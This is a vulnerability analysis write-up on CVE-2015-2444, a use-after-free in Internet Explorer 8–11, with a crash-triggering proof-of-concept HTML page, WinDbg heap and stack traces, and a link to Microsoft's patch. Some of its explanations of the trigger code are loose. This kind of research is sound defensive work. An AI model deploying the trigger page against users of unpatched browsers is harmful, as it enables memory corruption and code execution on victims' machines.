Vulnerability: As per the Symantec report, Microsoft Internet Explorer is prone to a remote memory-corruption vulnerability. Attackers can exploit this issue by enticing an unsuspecting user to view a specially-crafted webpage. Attackers can exploit this issue to execute arbitrary code in the context of the currently logged-in user. Failed attacks will cause denial-of-service conditions. Internet Explorer 8, 9, 10 and 11 are vulnerable.

The following are details of the vulnerability report

Vendor:            Microsoft, http://www.microsoft.com

Affected Products:        Internet Explorer

Affected Version:        IE 8-11

Vulnerability:            CTreeNode::GetCascadedLang Use-After-Free

CVE ID:                CVE-2015-2444

Details:

Microsoft Internet Explorer is prone to User-After-Free Vulnerability in the MSHTML!CTreeNode::GetCascadedLang function. We will do a detailed analysis by windbg and IDA Pro

Proof of Concept:

The following html page causes crash and error

<!DOCTYPE HTML>

<html>

<meta http-equiv=”X-UA-Compatible” content=”IE=10″ />

<script>

function Trigger()

    {

for(i=0; i < document.getElementsByTagName(“meter”).length; i++)

                {

document.getElementsByTagName(“meter”)[i].innerText = “a”;

}

}

function reload()

{

location.reload();

}

setTimeout(“reload()”, 1000);

</script>

<button><label><style>label{}</style><form>

<meter>label<optgroup><meter>fieldset<script>Trigger();</script></meter>

<select></select><button></button><form><form>

<input><script>Trigger();</script>

<form><style>form{-ms-behavior: url(“c”);}</style></form>

</html>

Source Code Analysis:

document.getElementsByTagName(“meter”).length: First of all, it is taking the element which is specified by tag name. Our tag name is meter and it is calculating the length in the for loop.

document.getElementsByTagName(“meter”)[i].innerText = “a”: After that, it is the innertext property of the index of meter element to a.

Reload(): This function will run 1000 ms.

<label><style>label{}</style><form>: Then it is creating a label within the style tag.

<meter>label<optgroup><meter>fieldset<script>Trigger();</script></meter>: This calls the meter element with Trigger function. This is some type of memory allocation.

form{-ms-behavior: url(“c”);}: This is parsing the url which is c, but there is no url defined as c. This will cause a memory crash. We will get more details by windbg analysis

Analysis Using Windbg:

Before starting with Windbg, we have to set up all the symbols for windbg. Please follow the links below:

https://www.osr.com/blog/2014/10/01/setting-the-windbg-symbol-search-path/

http://blogs.msdn.com/b/cclayton/archive/2010/02/24/how-to-setup-windbg.aspx


With page heap enabled, if someone visits the page it will crash and we will see the following:

(7c0.408): Access violation – code c0000005 (first chance)
First chance exceptions are reported before any exception handling. This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\SYSTEM32\MSHTML.dll –
eax=00000000 ebx=12698fa0 ecx=0000ffff edx=00000100 esi=00000000 edi=12696fb8
eip=6fea5a44 esp=0a75ba18 ebp=0a75ba38 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
MSHTML!CreateCoreWebView+0x1e0234:
6fea5a44 81b828030000506ffb6f cmp dword ptr [eax+328h],offset MSHTML!CreateCoreWebView+0x2f1740 (6ffb6f50)
ds:002b:00000328=????????

0:011> ub
MSHTML!CTreeNode::GetCascadedLang+0x5f:
6fea5a2b 8945f8 mov dword ptr [ebp-8],eax
6fea5a2e 8945f0 mov dword ptr [ebp-10h],eax
6fea5a31 8b4710 mov eax,dword ptr [edi+10h]
6fea5a34 85c0 test eax,eax
6fea5a36 740a je MSHTML!CTreeNode::GetCascadedLang+0x76 (6fea5a42)
6fea5a38 f6400c04 test byte ptr [eax+0Ch],4
6fea5a3c 0f859a020000 jne MSHTML!CTreeNode::GetCascadedLang+0x30f (6fea5cdc)
6fea5a42 8b07 mov eax,dword ptr [edi]

0:011> !heap -p -a edi+10
address 12696fc8 found in
_DPH_HEAP_ROOT @ a961000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize – VirtAddr VirtSize)
a9646e8: 12696fb8 48 – 12696000 2000
71e694ec verifier!AVrfDebugPageHeapAllocate+0x0000023c
779057b7 ntdll!RtlDebugAllocateHeap+0x0000003c
778a77ce ntdll!RtlpAllocateHeap+0x0004665a
77861134 ntdll!RtlAllocateHeap+0x0000014d
6fa31dd5 MSHTML!CLabelElement::CreateElement+0x00000015
6f8a5b4d MSHTML!CreateElement+0x00000084
6fa14768 MSHTML!CInBodyInsertionMode::DefaultStartElementHandler+0x00000078
6f91d6eb MSHTML!CInsertionMode::HandleStartElementToken+0x0000003d
6f91d3a3 MSHTML!CHtml5TreeConstructor::HandleElementTokenInInsertionMode+0x00000026
6f91d338 MSHTML!CHtml5TreeConstructor::PushElementToken+0x000000a5
6f91d1cc MSHTML!CHtml5Tokenizer::TagName_StateHandler+0x0000028c
6f91ab35 MSHTML!CHtml5Tokenizer::ParseBuffer+0x0000012c
6f91ae09 MSHTML!CHtml5Parse::ParseToken+0x00000131
6f91a377 MSHTML!CHtmPost::ProcessTokens+0x000006af
6f914952 MSHTML!CHtmPost::Exec+0x000001e4
6f991118 MSHTML!CHtmPost::Run+0x0000003d
6f99107e MSHTML!PostManExecute+0x00000061
6f9994a2 MSHTML!PostManResume+0x0000007b
6f9b04f7 MSHTML!CDwnChan::OnMethodCall+0x0000003e
6f7fd865 MSHTML!GlobalWndOnMethodCall+0x0000016d
6f7fd18a MSHTML!GlobalWndProc+0x000002e5
75a68e71 user32!_InternalCallWinProc+0x0000002b
75a690d1 user32!UserCallWinProcCheckWow+0x0000018e
75a6a66f user32!DispatchMessageWorker+0x00000208
75a6a6e0 user32!DispatchMessageW+0x00000010
710600d8 IEFRAME!CTabWindow::_TabWindowThreadProc+0x00000464
7108d0d8 IEFRAME!LCIETab_ThreadProc+0x0000037b
71c7d81c iertutil!_IsoThreadProc_WrapperToReleaseScope+0x0000001c
70ef3991 IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x00000094
755f7c04 KERNEL32!BaseThreadInitThunk+0x00000024
7787ad1f ntdll!__RtlUserThreadStart+0x0000002f
7787acea ntdll!_RtlUserThreadStart+0x0000001b

0:011> db edi+10
12696fc8 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 …………….
12696fd8 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 …………….
12696fe8 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 …………….
12696ff8 00 00 00 00 00 00 00 00-?? ?? ?? ?? ?? ?? ?? ?? ……..????????
12697008 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
12697018 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
12697028 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
12697038 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????

This looks like a use-after-free on memory which was previously freed by the ProtectedFree implementation (and zeroed-out) and thus the memory is not yet marked as free by the heap manager. To verify this assumption, we first disable the Memory Protect feature to see if it’s really accessing freed memory:
C:\>reg query “HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_MEMPROTECT_MODE”

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Main\Feature
Control\FEATURE_MEMPROTECT_MODE
iexplore.exe REG_DWORD 0x0

If we trigger the crash again, we notice that this time freed memory is accessed and the memory was indeed previously allocated by the ProtectedFree function.

(12c.4a4): Access violation – code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=0e958fa0 ecx=0000ffff edx=00000100 esi=00000000 edi=0e982fb8
eip=70595a31 esp=0b3cbda0 ebp=0b3cbdc0 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
MSHTML!CTreeNode::GetCascadedLang+0x65:
70595a31 8b4710 mov eax,dword ptr [edi+10h] ds:002b:0e982fc8=????????

0:006> !heap -p -a edi+10
address 0e982fc8 found in
_DPH_HEAP_ROOT @ aa31000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
aa34f70: e982000 2000
72909712 verifier!AVrfDebugPageHeapFree+0x000000c2
77906061 ntdll!RtlDebugFreeHeap+0x0000003c
778a69ea ntdll!RtlpFreeHeap+0x00044b2f
77861eaa ntdll!RtlFreeHeap+0x000001b6
6feacbbd MSHTML!MemoryProtection::CMemoryProtector::ProtectedFree+0x00000122
701a8a95 MSHTML!CLabelElement::`vector deleting destructor’+0x00000025
6fef7001 MSHTML!CBase::SubRelease+0x00000045
6ff14ee2 MSHTML!CElement::PrivateExitTree+0x00000060
6ff15c8a MSHTML!CMarkup::DestroySplayTree+0x000003ab
6ff16b26 MSHTML!CMarkup::UnloadContents+0x00000d33
70198f3c MSHTML!CMarkup::TearDownMarkupHelper+0x000000a7
70198e63 MSHTML!CMarkup::TearDownMarkup+0x00000058
7018af24 MSHTML!COmWindowProxy::SwitchMarkup+0x000004f3
70876d6a MSHTML!COmWindowProxy::ExecRefresh+0x00000a1d
70876ee3 MSHTML!COmWindowProxy::ExecRefreshCallback+0x00000023
6feed865 MSHTML!GlobalWndOnMethodCall+0x0000016d
6feed18a MSHTML!GlobalWndProc+0x000002e5
75a68e71 user32!_InternalCallWinProc+0x0000002b
75a690d1 user32!UserCallWinProcCheckWow+0x0000018e
75a6a66f user32!DispatchMessageWorker+0x00000208
75a6a6e0 user32!DispatchMessageW+0x00000010
71a700d8 IEFRAME!CTabWindow::_TabWindowThreadProc+0x00000464
71a9d0d8 IEFRAME!LCIETab_ThreadProc+0x0000037b
7271d81c iertutil!_IsoThreadProc_WrapperToReleaseScope+0x0000001c
716f3991 IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x00000094
755f7c04 KERNEL32!BaseThreadInitThunk+0x00000024
7787ad1f ntdll!__RtlUserThreadStart+0x0000002f
7787acea ntdll!_RtlUserThreadStart+0x0000001b

0:006> kb
ChildEBP RetAddr Args to Child
0b3cbdc0 7059559d 1330afc8 0b3cc1ec 00000001 MSHTML!CTreeNode::GetCascadedLang+0x65
0b3cbe78 700173bf 0ab19fa0 0e615fa0 00000003 MSHTML!CStyleSheetArray::BuildListOfProbableRules+0x2d5
0b3cbf3c 6fff6d3c 0b3cc1ec 00000001 00000003 MSHTML!CStyleSheetArray::BuildListOfMatchedRules+0x57
0b3cc190 70284613 0b3cc1ec 00000003 00000400 MSHTML!CMarkup::ApplyStyleSheets+0xca
0b3cc1c4 701a742e 0b3cc1ec 00000000 0aa41bb8 MSHTML!CElement::ApplyBehaviorCss+0x9e
0b3cc46c 700adfe3 00000004 07450000 0aa41bb8 MSHTML!CElement::ProcessPeerTask+0xc1f
0b3cc488 700adf3c 00000000 1375dfe8 0aa41bb8 MSHTML!CMarkup::ProcessPeerTaskContext+0x8e
0b3cc4a0 700d3070 0aa41bb8 00000000 00000000 MSHTML!CMarkup::ProcessPeerTasks+0x3f
0b3cc550 6ff17539 00000001 00000000 0b3cc57c MSHTML!CMarkup::UnloadContents+0x1017
0b3cc574 6fef705c 0f4febb8 00000001 6feeccb0 MSHTML!CMarkup::Passivate+0x89
0b3cc58c 6feecccc 0f4febb8 0f4febb8 00000001 MSHTML!CBase::PrivateRelease+0xbc
0b3cc5a8 6ff040f6 0f4febb8 0b3cc5d0 6feecf70 MSHTML!CMarkup::Release+0x18
0b3cc5c4 703edeb0 0f318f18 0e97cf90 00000000 MSHTML!CTxtSite::Release+0xc2
0b3cc5d8 703ede77 00000000 0e97cf90 00000000 MSHTML!CImplPtrAry::ReleaseAndDelete+0x2e
0b3cc5ec 70481a67 00000000 0b3cc624 0e97cf90 MSHTML!CFormElement::DetachExtraFormInputSiteByIndex+0x22
0b3cc5fc 701b66e3 0e97cf90 0b3cc618 0b3cc680 MSHTML!CFormElement::DetachAllExtraFormInputSites+0x13
0b3cc60c 6ff15be3 0b3cc624 0b3cc690 7019abb0 MSHTML!CFormElement::Notify+0x76
0b3cc680 6ff16b26 00000001 00000001 0f2ace30 MSHTML!CMarkup::DestroySplayTree+0x2dd
0b3cc730 70198f3c 00000000 00000001 0c9d4bd0 MSHTML!CMarkup::UnloadContents+0xd33
0b3cc748 70198e63 00000001 00000001 0f33cbb8 MSHTML!CMarkup::TearDownMarkupHelper+0xa7
0b3cc770 7018af24 00000001 00000001 0b3cc838 MSHTML!CMarkup::TearDownMarkup+0x58
0b3cc818 70876d6a 0f33cbb8 00000000 00000000 MSHTML!COmWindowProxy::SwitchMarkup+0x4f3
0b3cc8fc 70876ee3 00005004 ffffffff 00000000 MSHTML!COmWindowProxy::ExecRefresh+0xa1d
0b3cc910 6feed865 0aeb9f68 00005004 0ba04cc8 MSHTML!COmWindowProxy::ExecRefreshCallback+0x23
0b3cc95c 6feed18a 3e26b724 6feec290 00008002 MSHTML!GlobalWndOnMethodCall+0x16d
0b3cc9ac 75a68e71 000103d0 00008002 00000000 MSHTML!GlobalWndProc+0x2e5
0b3cc9d8 75a690d1 6feec290 000103d0 00008002 user32!_InternalCallWinProc+0x2b
0b3cca6c 75a6a66f 6feec290 00000000 00008002 user32!UserCallWinProcCheckWow+0x18e
0b3ccad8 75a6a6e0 30748176 0b3cfcb0 71a700d8 user32!DispatchMessageWorker+0x208
0b3ccae4 71a700d8 0b3ccb24 11ce0e48 1161cfe0 user32!DispatchMessageW+0x10
0b3cfcb0 71a9d0d8 0b3cfd7c 71a9cd50 11cdeff0 IEFRAME!CTabWindow::_TabWindowThreadProc+0x464
0b3cfd70 7271d81c 11ce0e48 0b3cfd94 71b05f70 IEFRAME!LCIETab_ThreadProc+0x37b
0b3cfd88 716f3991 11cdeff0 716f3900 716f3900 iertutil!_IsoThreadProc_WrapperToReleaseScope+0x1c
0b3cfdc0 755f7c04 0e502fe8 755f7be0 3b839130 IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x94
0b3cfdd4 7787ad1f 0e502fe8 3972bde9 00000000 KERNEL32!BaseThreadInitThunk+0x24
0b3cfe1c 7787acea ffffffff 7786022b 00000000 ntdll!__RtlUserThreadStart+0x2f
0b3cfe2c 00000000 716f3900 0e502fe8 00000000 ntdll!_RtlUserThreadStart+0x1b

If we check the accessed memory location just before the JavaScript method location.reload() is called, we can see where the memory for the CLabelElement object was allocated.

0:020> !heap -p -a 0e982fc8
address 0e982fc8 found in
_DPH_HEAP_ROOT @ aa31000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize – VirtAddr VirtSize)
aa34f70: e982fb8 48 – e982000 2000
MSHTML!CLabelElement::`vftable’
729094ec verifier!AVrfDebugPageHeapAllocate+0x0000023c
779057b7 ntdll!RtlDebugAllocateHeap+0x0000003c
778a77ce ntdll!RtlpAllocateHeap+0x0004665a
77861134 ntdll!RtlAllocateHeap+0x0000014d
70121dd5 MSHTML!CLabelElement::CreateElement+0x00000015
6ff95b4d MSHTML!CreateElement+0x00000084
70104768 MSHTML!CInBodyInsertionMode::DefaultStartElementHandler+0x00000078
7000d6eb MSHTML!CInsertionMode::HandleStartElementToken+0x0000003d
7000d3a3 MSHTML!CHtml5TreeConstructor::HandleElementTokenInInsertionMode+0x00000026
7000d338 MSHTML!CHtml5TreeConstructor::PushElementToken+0x000000a5
7000d1cc MSHTML!CHtml5Tokenizer::TagName_StateHandler+0x0000028c
7000ab35 MSHTML!CHtml5Tokenizer::ParseBuffer+0x0000012c
7000ae09 MSHTML!CHtml5Parse::ParseToken+0x00000131
7000a377 MSHTML!CHtmPost::ProcessTokens+0x000006af
70004952 MSHTML!CHtmPost::Exec+0x000001e4
70081118 MSHTML!CHtmPost::Run+0x0000003d
7008107e MSHTML!PostManExecute+0x00000061
700894a2 MSHTML!PostManResume+0x0000007b
700a04f7 MSHTML!CDwnChan::OnMethodCall+0x0000003e
6feed865 MSHTML!GlobalWndOnMethodCall+0x0000016d
6feed18a MSHTML!GlobalWndProc+0x000002e5
75a68e71 user32!_InternalCallWinProc+0x0000002b
75a690d1 user32!UserCallWinProcCheckWow+0x0000018e
75a6a66f user32!DispatchMessageWorker+0x00000208
75a6a6e0 user32!DispatchMessageW+0x00000010
71a700d8 IEFRAME!CTabWindow::_TabWindowThreadProc+0x00000464
71a9d0d8 IEFRAME!LCIETab_ThreadProc+0x0000037b
7271d81c iertutil!_IsoThreadProc_WrapperToReleaseScope+0x0000001c
716f3991 IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x00000094
755f7c04 KERNEL32!BaseThreadInitThunk+0x00000024
7787ad1f ntdll!__RtlUserThreadStart+0x0000002f
7787acea ntdll!_RtlUserThreadStart+0x0000001b

Ethical Hacking Training – Resources (InfoSec)

Impact:

If an attacker succeeds in bypassing the Memory Protector and Isolated Heap protection mechanisms, this vulnerability allows the execution of arbitrary code on vulnerable installations of Microsoft Internet Explorer. User interaction is required to exploit this vulnerability in that the targeted victim must visit a malicious page or open a malicious file.

           Conclusion:

So the above vulnerability is already exploited in the wild. It also imparts malware, delivered as an advertisement in the victim’s browser if said victim is uses a vulnerable version of IE. So update your IE with the latest patch; also, be sure to update your antivirus to defend against this vulnerability.

Mitigation:

Microsoft has already released a patch for it. Please use the patch or update your system:

https://technet.microsoft.com/en-us/library/security/ms15-079.aspx